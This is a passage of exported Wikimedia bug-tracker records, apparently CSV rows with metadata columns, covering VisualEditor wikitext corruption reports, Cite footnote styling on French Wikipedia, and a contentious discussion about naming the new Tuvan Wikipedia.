+https://en.wikipedia.org/w/index.php?title=British_Rail_Class_50&curid=1448622&diff=559199747&oldid=558786539",,,1370888839,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-oqao2yl4prg5uecpylkw,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+250731,VisualEditor: Misc. issues,"This bug is probably a wash in terms of being an actionable report, so I'll just use it to log other diffs I'm coming across via <https://en.wikipedia.org/w/index.php?title=Special:RecentChanges&tagfilter=visualeditor>.
+
+
+<nowiki> corruption:
+
+https://en.wikipedia.org/w/index.php?title=Black_Country_Communion&curid=25818560&diff=559205644&oldid=547680063
+
+
+<nowiki/> weirdness:
+
+https://en.wikipedia.org/w/index.php?title=Lightning_(software)&diff=prev&oldid=559252596
+
+
+Possible unintentional HTML comment removal; <nowiki> corruption:
+
+https://en.wikipedia.org/w/index.php?title=Underworld_(band)&diff=prev&oldid=559255806",,,1370888558,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-oqao2yl4prg5uecpylkw,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+51346,"Cite CSS should be adjusted by wikis to set a non-standard rendering style (e.g. 1.0, 1.1 / a,b,c, removing brackets, etc.)","There are a couple of ways to configure references to display differently:
+http://www.mediawiki.org/wiki/Extension:Cite/Cite.php#Set_references_to_use_.5E_and_letters_like_Wikipedia
+we should access these so the rendering in edit mode is consistent with the that in read mode.
+",Medium,50.0,1370728680,,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-bhc7xmtcptcglmeqxvai,task_description,open,True,c1,2,True,False,,-4,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+639683,"Cite CSS should be adjusted by wikis to set a non-standard rendering style (e.g. 1.0, 1.1 / a,b,c, removing brackets, etc.)",">>! In T51346#2174472, @Trizek-WMF wrote:
+>>>! In T51346#2173928, @Jdforrester-WMF wrote:
+>> This requires changes to Common.css (or some other site-level styling script) to change the rendering. However, I'd invite wikis to seriously consider whether they really want to vary from every other wiki's rendering.
+> 
+> On the reverse order, what prevents you to use the Common.css as it is? I mean, on a WYSIWYG system, you expect to have the same rendering both on reading and editing, which is what has been defined in the Common.css or in website settings.
+
+Because Cite doesn't yet use these styles in read mode (that's {T104927}, which is in fact blocked by doing this). :-)",,,1459673675,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bhc7xmtcptcglmeqxvai,task_subcomment,,True,c1,3,True,,,143,,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+639673,"Cite CSS should be adjusted by wikis to set a non-standard rendering style (e.g. 1.0, 1.1 / a,b,c, removing brackets, etc.)",">>! In T51346#2173928, @Jdforrester-WMF wrote:
+> This requires changes to Common.css (or some other site-level styling script) to change the rendering. However, I'd invite wikis to seriously consider whether they really want to vary from every other wiki's rendering.
+
+On the reverse order, what prevents you to use the Common.css as it is? I mean, on a WYSIWYG system, you expect to have the same rendering both on reading and editing, which is what has been defined in the Common.css or in website settings.
+
+Thank you for the fix, by the way. ",,,1459672642,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-bhc7xmtcptcglmeqxvai,task_subcomment,,True,c1,3,False,,,143,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,1
+639607,"Cite CSS should be adjusted by wikis to set a non-standard rendering style (e.g. 1.0, 1.1 / a,b,c, removing brackets, etc.)","The change for frwiki to make it look like their current local customisation is roughly: 
+``` lang=css
+/* French Wikipedia over-ride of styling for <ref>s */
+span.mw-ref a::after {
+  content: counter(mw-Ref,decimal);
+} 
+```",,,1459667425,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bhc7xmtcptcglmeqxvai,task_subcomment,,True,c1,3,True,,,143,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+639604,"Cite CSS should be adjusted by wikis to set a non-standard rendering style (e.g. 1.0, 1.1 / a,b,c, removing brackets, etc.)","This requires changes to Common.css (or some other site-level styling script) to change the rendering. However, I'd invite wikis to seriously consider whether they really want to vary from every other wiki's rendering.",,,1459667268,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bhc7xmtcptcglmeqxvai,task_subcomment,,True,c1,3,True,,,143,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+639597,"Cite CSS should be adjusted by wikis to set a non-standard rendering style (e.g. 1.0, 1.1 / a,b,c, removing brackets, etc.)","Got a feedback about it during a workshop: on fr.wp, footnotes are labelled as ""a, b, c""... in reading mode and ""3.0, 3.1, 3.2""... on edit mode. Plus, notes on the text don't have brackets on reading mode and have them on editing mode.",,,1459666387,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-bhc7xmtcptcglmeqxvai,task_subcomment,,True,c1,3,False,,,143,,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,0
+248012,"Cite CSS should be adjusted by wikis to set a non-standard rendering style (e.g. 1.0, 1.1 / a,b,c, removing brackets, etc.)",I74d4878 will let us fix this.,,,1413330448,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bhc7xmtcptcglmeqxvai,task_subcomment,,True,c1,3,True,,,67,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0
+248005,"Cite CSS should be adjusted by wikis to set a non-standard rendering style (e.g. 1.0, 1.1 / a,b,c, removing brackets, etc.)","I think that this is the same problem:
+
+Footnotes created with the ref group <ref group=lower-alpha> are displayed in the saved page as [a], [b], etc.  If you open them in VisualEditor, they display (while editing) as [lower-alpha 1], [lower-alpha 2], etc. instead of [a], [b], etc.",,,1407177406,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-bhc7xmtcptcglmeqxvai,task_subcomment,,True,c1,3,False,,,57,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,1,0,1
+247996,"Cite CSS should be adjusted by wikis to set a non-standard rendering style (e.g. 1.0, 1.1 / a,b,c, removing brackets, etc.)",*** Bug 51453 has been marked as a duplicate of this bug. ***,,,1379788309,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-bhc7xmtcptcglmeqxvai,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+51328,Create Wikipedia Tuvan,"The language committee and WMF Board have approved the creation of Wikipedia Tuvan.
+
+Language code: tyv
+Site URL: tyv.wikipedia.org
+Project name: Википедия
+Project namespace: Википедия
+Project talk namespace: Википедия дугайында сүмелел
+Project logo: http://commons.wikimedia.org/wiki/File:Wikipedia-logo-v2-tyv.png
+Timezone: Asia/Krasnoyarsk
+Language name: Тыва дыл
+Enable uploads: yes
+
+
+Thank you.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement
+**URL**: //meta.wikimedia.org/wiki/Requests_for_new_languages/Wikipedia_Tuvan",Medium,50.0,1370654940,1376684880.0,PHID-USER-7e4yonmruupxzg23swum,False,,False,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_description,resolved,True,c1,2,False,False,True,-4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+247158,Create Wikipedia Tuvan,"(In reply to comment #28)
+> (In reply to comment #27)
+> > (In reply to comment #26)
+> > > RT ticket created for addition of lucene search indexes
+> > > https://rt.wikimedia.org/Ticket/Display.html?id=5588
+> > 
+> > But where's VisualEditor
+> 
+> Thank you very much for this reminder! I added it here (I think):
+> https://gerrit.wikimedia.org/r/#/c/79321/
+
+The VisualEditor can now be enabled in the preferences.",,,1376684880,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,6,,1,0,1,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+247152,Create Wikipedia Tuvan,"Change 79321 merged by jenkins-bot:
+Add tyv.wikipedia to projects with visualeditor
+
+https://gerrit.wikimedia.org/r/79321",,,1376665033,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+247145,Create Wikipedia Tuvan,"Change 79321 had a related patch set uploaded by Amire80:
+Add tyv.wikipedia to projects with visualeditor
+
+https://gerrit.wikimedia.org/r/79321",,,1376653964,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+247137,Create Wikipedia Tuvan,"(In reply to comment #27)
+> (In reply to comment #26)
+> > RT ticket created for addition of lucene search indexes
+> > https://rt.wikimedia.org/Ticket/Display.html?id=5588
+> 
+> But where's VisualEditor
+
+Thank you very much for this reminder! I added it here (I think):
+https://gerrit.wikimedia.org/r/#/c/79321/",,,1376639564,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,6,,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+247128,Create Wikipedia Tuvan,"(In reply to comment #26)
+> RT ticket created for addition of lucene search indexes
+> https://rt.wikimedia.org/Ticket/Display.html?id=5588
+
+But where's VisualEditor",,,1376621641,,PHID-USER-chrmcih5qjpx5buo7vx6,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+247120,Create Wikipedia Tuvan,RT ticket created for addition of lucene search indexes https://rt.wikimedia.org/Ticket/Display.html?id=5588,,,1376196871,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+247115,Create Wikipedia Tuvan,Done!,,,1376196328,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+247109,Create Wikipedia Tuvan,"Change 68188 merged by jenkins-bot:
+(bug 49328) Create Wikipedia in Tyvan language
+
+https://gerrit.wikimedia.org/r/68188",,,1376194827,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+247103,Create Wikipedia Tuvan,*** Bug 52691 has been marked as a duplicate of this bug. ***,,,1376116627,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+247097,Create Wikipedia Tuvan,"Change 78332 merged by jenkins-bot:
+Add tyv to langlist
+
+https://gerrit.wikimedia.org/r/78332",,,1376020675,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+247091,Create Wikipedia Tuvan,"Change 78332 had a related patch set uploaded by Reedy:
+Add tyv to langlist
+
+https://gerrit.wikimedia.org/r/78332",,,1376020621,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+247084,Create Wikipedia Tuvan,"**polar_bear0901** wrote:
+
+(In reply to comment #19)
+> It should not be chosen arbitrarily. It is chosen according to what was
+> requested on the Meta request, here
+> <https://meta.wikimedia.org/w/index.php?diff=5529039&oldid=5528970>, by
+> Agilight even.
+> You do have discussions on the Incubator talk pages of some contributors like
+> Tamara Ustinova and Agilight but there is no discussion of everyone anywhere.
+> If you want the sitename to be different, please stop spamming this bug and
+> convince them to change the request on Meta. If you don't manage to do that,
+> shut up and stop delaying this request.
+
+""It should not be chosen arbitrarily."" - I agree!
+
+""It is chosen according to what was requested on the Meta request, here <...>, by Agilight even."" - not exactly. Agilight's comment is a completion of your comment in 06:42, 2 June 2013, in other words, he is personally helping you and showing his acquiescence about the name ""Википедия"", and that has nothing to do with ""Agilight chose the name Википедия"". If the local community had chosen the name ""Википедия"", I would NEVER disturb you here. 
+
+I had no discussion with Tamara Ustinova about the name (what I talk with her is about our *personal* opinion about indigenous peoples). I did discussed with Agilight, and as far as I know Agilight have no preference about the name ""Википедия"". Also there is discussion for everyone here <http://incubator.wikimedia.org/wiki/Talk:Wp/tyv/%D0%9A%D0%BE%D0%BB_%D0%B0%D1%80%D1%8B%D0%BD#Localization> and everyone in the local community who joined the discussion likes to adopt a native name, although till now no one has completed a good name proposal (Agilight said in his talk page he'd like to ask some people to give an advice).
+
+If you deserve the sitename translation to be ""Википедия"", please stop advertise it here and convince some Tuvan speakers in the community to express their preference of ""Википедия"" to all other translation. If you don't manage to do that, shut up and stop promoting ""Википедия"" to this request.",,,1374941968,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,3,,1,1,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+247079,Create Wikipedia Tuvan,"It should not be chosen arbitrarily. It is chosen according to what was requested on the Meta request, here <https://meta.wikimedia.org/w/index.php?diff=5529039&oldid=5528970>, by Agilight even.
+You do have discussions on the Incubator talk pages of some contributors like Tamara Ustinova and Agilight but there is no discussion of everyone anywhere. If you want the sitename to be different, please stop spamming this bug and convince them to change the request on Meta. If you don't manage to do that, shut up and stop delaying this request.",,,1374927661,,PHID-USER-7e4yonmruupxzg23swum,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,3,,1,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1
+247073,Create Wikipedia Tuvan,"**polar_bear0901** wrote:
+
+(In reply to comment #15)
+> (In reply to comment #14)
+> > I have been looking at the discussion page for almost a year to see if 
+> > anyone in the local community have provided a localization of the name
+> > Wikipedia, but till now they're still working in progress. 
+> 
+> ""Work in progress"" and ""for almost a year"" sounds like a contradiction at
+> first, so I'd like to take a look myself.
+> 
+> > few will realize that it's still editable
+> 
+> People learn when they get things told. Every article on the wiki is
+> temporarily too by that definition, as it might be improved later on.
+
+Well, if the project namespace should be arbitrarily chosen since it's temporarily, why don't we choose it to be Видибилиином?",,,1374916375,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,3,,1,1,0,1,1,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+247065,Create Wikipedia Tuvan,"**polar_bear0901** wrote:
+
+(In reply to comment #16)
+> Changing status to PATCH_TO_REVIEW because there actually is a patch on Gerrit
+Thank you for your progress!
+
+I'd like to mention that concerning the historical discussion, most user who have Tuvan language ability (such as Agilight and Sborsody) have shown a positive altitude about having a native Tuvan name for Tuvan Wikipedia, while those who considered a native name unnecessary or aspiration are mostly Europeans who can not speak Tuvan language (e.g. Kaganer and Tamara Ustinova; what have been labeled a ""community requesting"" were an request by Kaganer). 
+
+But I'm *not* critcise them, because they're *naturally* speaking in an European POV and that's totally fine. What I'm requesting is that the Tuvan name of Wikipedia should be decided by the native community, rather than by an edit commited by a editor who have few Tuvan knowledge. So there's *no* community-established name at all.
+
+That's also the reason why I say the ""Project namespace:"" should be temporarily ""Wikipedia"" rather than request it to be ""Видибилиином"".",,,1374916112,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,3,,1,0,1,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1
+247056,Create Wikipedia Tuvan,"Changing status to PATCH_TO_REVIEW because there actually is a patch on Gerrit waiting to be reviewed & merged: https://gerrit.wikimedia.org/r/68188
+
+Assigning this bug to Sam because he's the one who's been creating new wikis lately.",,,1374767554,,PHID-USER-hxjysvdvogekpjub3nd3,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+247049,Create Wikipedia Tuvan,"(In reply to comment #14)
+> I have been looking at the discussion page for almost a year to see if 
+> anyone in the local community have provided a localization of the name
+> Wikipedia, but till now they're still working in progress. 
+
+""Work in progress"" and ""for almost a year"" sounds like a contradiction at first, so I'd like to take a look myself.
+
+> few will realize that it's still editable
+
+People learn when they get things told. Every article on the wiki is temporarily too by that definition, as it might be improved later on.",,,1374065889,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,True,,,2,,1,1,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+247044,Create Wikipedia Tuvan,"**polar_bear0901** wrote:
+
+(In reply to comment #13)
+> (In reply to comment #6)
+> > (In reply to comment #4)
+> > Yes. The community is choosing a name for Tuvan Wikipedia
+> 
+> Can you please provide a direct link to a *recent* discussion about this
+> topic,
+> on the wiki?
+Could you please first tell me why you want a *recent* discussion? I have been looking at the discussion page for almost a year to see if anyone in the local community have provided a localization of the name Wikipedia, but till now they're still working in progress. 
+> 
+> > So the information should be **temporarily**
+> 
+> If it makes you happier to call things ""temporarily"", all things are
+> temporarily up to some point. :) (Configuration settings can always be
+> changed
+> later.)
+Well, what you said is *technically* true, but remember once you establish a namespace Википедия few will realize that it's still editable (just as Ali said many Tuvans are not very good at Internet). What's more, once the term Википедия (which violate Tuvan vowel harmony by the last syllable ""я"") comes into a real Wikipedia, it will be used by some Tuvans, which makes it harder for the locals to choose a localized name.",,,1374061512,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,2,,1,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+247039,Create Wikipedia Tuvan,"(In reply to comment #6)
+> (In reply to comment #4)
+> Yes. The community is choosing a name for Tuvan Wikipedia
+
+Can you please provide a direct link to a *recent* discussion about this topic, on the wiki?
+
+> So the information should be **temporarily**
+
+If it makes you happier to call things ""temporarily"", all things are temporarily up to some point. :) (Configuration settings can always be changed later.)",,,1373968444,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,True,,,2,,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1,0,1,1,0,1
+247034,Create Wikipedia Tuvan,"**polar_bear0901** wrote:
+
+(In reply to comment #11)
+> That's nonsense. There is apparently no ""trying to establish a native name"",
+> because the discussion from Dec. 2012 fell asleep.
+> However, the Википедия name is surely 'established' in a certain way because
+> the community(!) requested it to be set as their sitename and used it also on
+> the Incubator pages. The community can use any name it wants, regardless of
+> whether that is ""European"" or ""native"" or not.
+
+That's not. Someone (not the community!) edit the info page/summary page of testwiki when the discussion still didn't go to an end, but this has nothing to do with what you claimed ""community requested it"". 
+
